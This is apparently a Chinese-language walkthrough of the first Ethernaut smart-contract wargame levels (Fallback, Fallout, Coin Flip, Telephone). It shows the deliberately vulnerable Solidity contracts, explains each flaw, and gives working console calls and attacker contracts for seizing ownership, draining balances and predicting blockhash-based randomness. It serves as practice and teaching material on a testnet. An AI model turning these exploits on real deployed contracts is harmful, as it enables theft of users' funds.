Hello Ethernaut
设置扩展程序的MetaMask,连接自己的MetaMask
打开控制台输入player即可看到玩家的地址
**help()**可以查看控制台还有什么功能
| (index) |
Value |
|
|
| player |
‘current player address’ |
| ethernaut |
‘main game contract’ |
| level |
‘current level contract address’ |
| contract |
‘current level contract instance (if created)’ |
| instance |
‘current level instance contract address (if created)’ |
| version |
‘current game version’ |
| getBalance(address) |
‘gets balance of address in ether’ |
| getBlockNumber() |
‘gets current network block number’ |
| sendTransaction({options}) |
‘send transaction util’ |
| getNetworkId() |
‘get ethereum network id’ |
| toWei(ether) |
‘convert ether units to wei’ |
| fromWei(wei) |
‘convert wei units to ether’ |
| deployAllContracts() |
‘Deploy all the remaining contracts on the current network.’ |
| https://sepolia-faucet.pk910.de/ |
|
| 我是在上述水龙头网址输入自己的address,然后领取一些SepETH供开启新实例,不然没办法打开实例 |
|
Fallback
合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Fallback { mapping(address => uint256) public contributions; address public owner;
constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); }
modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; }
function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }
function getContribution() public view returns (uint256) { return contributions[msg.sender]; }
function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); }
receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
|
通过这关你需要
- 获得这个合约的所有权
- 把他的余额减到0
这可能有帮助
- 如何通过与ABI互动发送ether
- 如何在ABI之外发送ether
- 转换 wei/ether 单位 (参见
help() 命令)
- Fallback 方法
OK,现在来分析这个合约
关键函数
- constructor() - 部署时设置部署者为owner,并给予1000 ether的贡献值
- contribute() - 接受小于0.001 ether的捐款
- 如果捐款者累计贡献超过owner,可以成为新owner
- withdraw() - 只有owner可以提取合约内所有ETH
- receive() - 特殊的回退函数,当合约收到ETH时触发
- 要求:
msg.value > 0 且 contributions[msg.sender] > 0
- 条件满足时,调用者直接成为owner
所以让我们先调用 contribute() 发送少量 ETH(小于 0.001 ETH).
1
| await contract.contribute.sendTransaction({ value: 1 })
|
向合约捐赠 1 wei(小于 0.001 ETH),满足 contribute() 的入金限制。
然后在MetaMask上确认
1
| await contract.sendTransaction({ value: 1 })
|
直接向合约地址转账 1 wei(任意正数均可).
这会触发合约的 receive() 函数,检查到 msg.value > 0 且 contributions[msg.sender] > 0,于是将 owner 设置为你的地址.
等待交易确认后,可通过 await contract.owner() 验证,返回了我的地址,所以现在我就是owner
然后调用withdraw()把钱取走
1
| await contract.withdraw()
|
然后提交实例,他会提示我通过了!!
![[Pasted image 20260215163402.png]]
fallback / receive 触发机制
| 场景 |
会触发哪个函数 |
| 调用不存在函数,且没有 receive() |
fallback() |
| 向合约地址发送 ETH(无 calldata) |
receive() |
| 调用不存在函数,但有 calldata(不为空) |
fallback() |
| 调用存在的普通函数 |
正常函数 |
| ai对两者解释如下: |
|
fallback 函数
是一个特殊的、未命名的外部函数,每个合约最多可以包含一个。它主要在两种情况下被触发:
- 合约收到纯 ETH 转账(没有
msg.data)
- 调用的函数不存在于合约中
从 Solidity 0.6.x 开始,fallback 功能被拆分为两个独立的特殊函数:
receive() external payable:专门处理纯 ETH 转账。
fallback() external payable:处理所有其他情况(函数不存在或 msg.data 非空)。
receive() 函数
- 必须标记为
external 和 payable。
- 不能有参数,不能返回值。
- 一个合约最多只能定义一个
receive 函数。
触发条件
当向合约发送 ETH 且交易数据为空(msg.data.length == 0)时,receive 会被调用。例如:
- 通过
send 或 transfer 发送 ETH(gas 固定 2300)。
- 直接通过钱包向合约地址转账。
- 调用
address.call{value: x}("")(空 calldata)。
Fallout
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
|
可以看到Fallout函数
漏洞在于构造函数名称拼写错误(Fal1out 而不是 Fallout)
合约名是Fallout,但构造函数名是Fal1out(注意数字1代替了字母l)。
这里写了一个与合约名不同的函数Fal1out,实际上是普通的public payable函数,任何人都可以调用。所以,把自己设为owner即可!
1 2 3
| await contract.owner()
|
查看合约当前的owner是谁
发现是零地址:0x0000000000000000000000000000000000000000
然后调用写错名字的那个Fal1out函数,这个函数虽然被注释为构造函数,但实际上是一个任何人都可以调用的公开函数,因为名字写错了!
因为是payable 类型,所以不需要发送任何以太币就可以把我设置为owner
1 2 3
| await contract.Fal1out()
|
如果想把资金提取出来可以:
1 2 3
| await contract.collectAllocations()
|
虽然里面没有资金
Coin Flip
核心是:利用区块哈希可预测性来伪造连续 10 次猜中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip =
blockValue / FACTOR;
bool side =
coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
|
题目描述:
1 2 3
| 这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
|
核心是:利用区块哈希可预测性来伪造连续 10 次猜中
1 2 3
| uint256 public consecutiveWins;
|
记录玩家 连续猜对次数。
通关条件:consecutiveWins == 10
记录 上一次使用的 blockhash。
1 2 3 4 5 6 7
| if (lastHash == blockValue) {
revert();
}
|
revert() 的作用是:回滚当前交易并恢复所有状态,同时返回错误。
FACTOR被赋予了一个很大的数值,之后查看了一下发现是$2^{255}$
拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等
Exploit:
在Remix中部署
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip target =
ICoinFlip(0xeDCed343B5F072cbD484F92163808e85220c96EA);
function attack() public {
uint256 blockValue =
uint256(blockhash(block.number - 1));
uint256 coinFlip =
blockValue / FACTOR;
bool side =
coinFlip == 1;
target.flip(side); } }
|
攻击十次即可
Telephone
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Telephone { address public owner;
constructor() { owner = msg.sender; }
function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
|
可以看到
1 2 3 4 5
| function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } }
|
msg.sender
当前函数 直接调用者
tx.origin
整个交易 最初发起者
让你调用合约之后保证msg.sender = tx.origin
但是这里可以通过中间合约调用让msg.sender != tx.origin
攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone { function changeOwner(address _owner) external; }
contract Attack { function attack(address target) public { Telephone(target).changeOwner(msg.sender); }
}
|
在Remix中deploy一下,attack 实例的地址
就成功了!